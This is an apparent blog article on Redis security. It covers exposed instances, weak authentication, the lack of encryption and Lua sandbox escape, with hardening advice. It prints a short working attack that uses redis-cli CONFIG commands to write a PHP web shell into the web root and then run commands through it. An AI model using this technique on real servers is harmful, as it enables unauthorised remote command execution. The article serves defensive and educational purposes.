Hacking Redis

Redis stands for REmote DIctionary Server. It’s an in-memory database that stores information with key-value pairs.

Indeed, it provides many more advanced features and functionalities, like master-slave architectures and Redis Cluster.

However, Redis is often used as a simple cache system or a message broker.

It’s a fantastic technology in many aspects, but security problems occur when users stick with the default configurations or expose Redis servers.

Don’t expose Redis instances

LOTS of installations expose Redis instances to Internet for convenience, allowing anyone to access the server through the default port 6379.

You can test that with the following commands:

sudo apt install redis-tools
redis-cli -h {IP} PING

The successful response is “PONG” but you might try other commands in your test.

Even if the instance uses a different port, frameworks such as Metasploit include specific modules to automate enumeration.

In the worst-case scenario (or the best case, if you’re the attacker ^^), there’s neither firewall rules nor authentication. CTFs like to emulate such misconfiguration, which is realistic unfortunately.

Only trusted clients should be allowed.

N.B.:It should be noted that recent versions of Redis include a “protected mode” (since 3.2.0) that aims to fix installations that still use default configurations.

Why and how attackers hack Redis servers

Redis can be hacked for various reasons, but the most common ones are:

  • web shell injections
  • privilege escalations
  • data thefts (e.g., dumping database)

That’s why the Redis’ Documentation recommends disabling full access to the command set. One of the most common hacks used in CTFs and pen-tests is based on the CONFIG command:

{IP}:6379> config set /var/www/html
{IP}:6379> config set dbfilename webshell.php
{IP}:6379> set test "<?php system($_REQUEST['cmd']); ?>"
{IP}:6379> save

An attacker can use it to pass arbitrary commands to the new file:

http://{IP}/webshell.php?cmd={COMMAND}

Another approach consists of creating rogue SSH access with tools like Redis-Server-Exploit.

Authenticated exploits

Very bad configurations allow unauthenticated adversaries to pass unauthorized commands and mess with the Redis instance.

It’s recommended to forbid anonymous connections.

Although, it’s not uncommon Redis servers use weak passwords, which is not much better.

Data is unencrypted by default

Redis provides a layer for authentication you can configure in the redis.conf file. When enabled, an admin can set a strong password using the AUTH command.

It’s an additional layer in case other protections fail, but there’s no encryption by default, so any attacker who managed to sniff the network traffic would be able intercept communications, theoretically.

Lua sandbox escape

Cybercriminals can leverage vulnerable libraries to implant RCE (Remote Code Execution) via Redis.

For example, Redis lets users execute Lua scripts. If the server uses outdated dependencies, it can turn nasty.

Some CTFs, like this one, emulate that attack.

Wrap up

Don’t default on Redis security and ensure your instances are up-to-date.

See Also